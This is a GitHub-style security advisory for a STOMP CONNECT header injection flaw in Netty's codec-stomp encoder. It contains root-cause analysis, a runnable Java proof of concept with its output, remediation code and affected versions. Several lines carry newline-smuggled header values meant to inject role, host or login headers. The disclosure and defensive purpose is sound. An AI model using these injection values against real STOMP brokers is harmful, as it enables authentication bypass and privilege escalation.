GHSA-3g8r-4pfx-jmfh

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    GHSA-3g8r-4pfx-jmfh

    Published: 22 Jul 2026Last Modified: 10 Sept 2026

    Summary: Netty: STOMP CONNECT Frame Header Injection in Netty

    Details: # Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-stomp) | | **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | **Impact** | STOMP Header Injection / Authentication Bypass | | **CVSS 3.1 Score** | **6.5 (Medium)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | None | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200) - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216) ## 3. Vulnerability Description The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers. ### Root Cause In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping: ```java private static boolean shouldEscape(StompCommand command) { return command != StompCommand.CONNECT && command != StompCommand.CONNECTED; } ``` When `shouldEscape()` returns `false`, header values are written without any escaping (line 195): ```java CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue(); ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output buf.writeByte(StompConstants.LF); ``` For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`. ### STOMP Specification Context and Security Analysis The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences. **However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction: - **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT) - **Validation** = rejecting header values that contain `\n` (spec does not prohibit this) Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`. This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here. **Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered. **Summary**: The vulnerability exists because: 1. Header values in CONNECT frames are **neither escaped nor validated** for newlines 2. A raw newline in a header value creates a **new header line** on the wire 3. The STOMP broker parses each line as a separate header 4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-stomp` module to encode STOMP frames 2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame 3. The application does **not** perform its own newline sanitization 4. The downstream STOMP broker processes the injected headers (broker-dependent) **Typical affected use cases**: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames ## 5. Attack Scenarios ### Scenario 1: Authentication Bypass via Header Injection An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers: ```java DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().set(StompHeaders.HOST, "localhost"); frame.headers().set(StompHeaders.LOGIN, "guest"); // Attacker injects a role header via \n in passcode frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true"); ``` **Wire format sent to broker:** ``` CONNECT host:localhost login:guest passcode:password admin-role:true <-- INJECTED HEADER <-- Empty line (end of headers) \0 ``` The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication. ### Scenario 2: Subscription Hijacking ```java frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com"); ``` This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation). ### Scenario 3: Header Overwrite ```java frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin"); ``` **Wire format:** ``` CONNECT login:user login:admin <-- INJECTED, may override first ... ``` Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account. ## 6. Proof of Concept ### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.stomp.*; import java.nio.charset.StandardCharsets; /** * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability * * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and * CONNECTED commands, allowing \n injection in header values to create * additional STOMP headers. */ public class StompConnectHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n"); testConnectHeaderInjection(); testConnectVsOtherCommand(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: CONNECT command header injection via \n in value */ static void testConnectHeaderInjection() { System.out.println("[TEST 1] CONNECT Header Value Injection"); System.out.println("-----------------------------------------"); // Craft a CONNECT frame with \n in passcode value DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPT_VERSION, "1.2"); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input passcode: \"password\\nadmin-role:true\""); System.out.println(); System.out.println("Encoded STOMP frame:"); System.out.println("---"); // Show with visible control chars for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0")); } System.out.println("---"); // Check if the injected header appears as a separate line boolean hasInjectedHeader = false; String[] lines = encoded.split("\n"); for (String line : lines) { if (line.startsWith("admin-role:")) { hasInjectedHeader = true; break; } } System.out.println(); System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader); System.out.println("VULNERABLE: " + (hasInjectedHeader ? "YES - Header injection in CONNECT frame!" : "NO")); // Count actual STOMP headers (lines between command and empty line) int headerCount = 0; boolean inHeaders = false; for (String line : lines) { if (line.equals("CONNECT")) { inHeaders = true; continue; } if (inHeaders && line.trim().isEmpty()) break; if (inHeaders && line.contains(":")) headerCount++; } System.out.println("Expected headers: 4 (host, accept-version, login, passcode)"); System.out.println("Actual headers: " + headerCount); System.out.println(); } /** * Test 2: Compare CONNECT (no escape) vs SEND (with escape) */ static void testConnectVsOtherCommand() { System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison"); System.out.println("--------------------------------------------"); String maliciousValue = "value\ninjected:evil"; // Test CONNECT (no escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Raw \\n in output: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO")); } System.out.println(); // Test SEND (with escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.DESTINATION, "/queue/test"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("SEND frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil"); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO")); } System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" StompConnectHeaderInjectionPoC.java java -cp "$JARS:." StompConnectHeaderInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty STOMP CONNECT Header Injection PoC === [TEST 1] CONNECT Header Value Injection ----------------------------------------- Input passcode: "password\nadmin-role:true" Encoded STOMP frame: --- CONNECT host:localhost accept-version:1.2 login:user passcode:password admin-role:true <-- INJECTED HEADER \0 --- Injected 'admin-role' appears as separate header: true VULNERABLE: YES - Header injection in CONNECT frame! Expected headers: 4 (host, accept-version, login, passcode) Actual headers: 5 [TEST 2] CONNECT vs SEND Escape Comparison -------------------------------------------- CONNECT frame with custom="value\ninjected:evil": Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0 Raw \n in output: true VULNERABLE: YES SEND frame with custom="value\ninjected:evil": Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0 Escaped \n: true Raw \n: false SAFE: YES === PoC Complete === ``` ### Key Observation The PoC demonstrates a clear inconsistency: - **CONNECT** command: `\n` is written **raw** → header injection succeeds - **SEND** command: `\n` is escaped to `\\n` → header injection prevented ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Authentication** | Injected headers may bypass broker authentication logic | | **Authorization** | Role escalation via injected role/permission headers | | **Integrity** | Modification of connection parameters (host, version, etc.) | | **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) | ### Affected Brokers This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers: - **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins - **ActiveMQ**: May process custom headers for internal routing - **Custom Brokers**: Most likely to be affected if they trust all received headers ## 8. Remediation Recommendations ### Option 1: Validate CONNECT Header Values (Recommended) Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely: ```java private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) { StompCommand command = frame.command(); ByteBufUtil.writeUtf8(buf, command.toString()); buf.writeByte(StompConstants.LF); boolean shouldEscape = shouldEscape(command); for (Entry<CharSequence, CharSequence> entry : frame.headers()) { CharSequence headerKey = entry.getKey(); CharSequence headerValue = entry.getValue(); if (shouldEscape) { headerKey = escape(headerKey); headerValue = escape(headerValue); } else { // For CONNECT/CONNECTED: don't escape but REJECT newlines validateNoNewlines(headerKey, "header name"); validateNoNewlines(headerValue, "header value"); } ByteBufUtil.writeUtf8(buf, headerKey); buf.writeByte(StompConstants.COLON); ByteBufUtil.writeUtf8(buf, headerValue); buf.writeByte(StompConstants.LF); } buf.writeByte(StompConstants.LF); } private static void validateNoNewlines(CharSequence value, String type) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\n' || c == '\r') { throw new IllegalArgumentException( "STOMP CONNECT " + type + " contains illegal newline at index " + i); } } } ``` ### Option 2: Apply Escaping to All Commands Simply remove the CONNECT/CONNECTED exception: ```java private static boolean shouldEscape(StompCommand command) { return true; // Always escape } ``` Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach. ## 9. References - [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html) - [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)

    Affected packages

    Package

    Name: io.netty:netty-codec-stomp

    Purl: pkg:maven/io.netty/netty-codec-stomp

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 4.2.0.Final
    Fixed -4.2.16.Final

    Affected versions

    4.2.0.Final
    4.2.1.Final
    4.2.10.Final
    4.2.11.Final
    4.2.12.Final
    4.2.13.Final
    4.2.14.Final
    4.2.15.Final
    4.2.2.Final
    4.2.3.Final
    4.2.4.Final
    4.2.5.Final
    4.2.6.Final
    4.2.7.Final
    4.2.8.Final
    4.2.9.Final

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High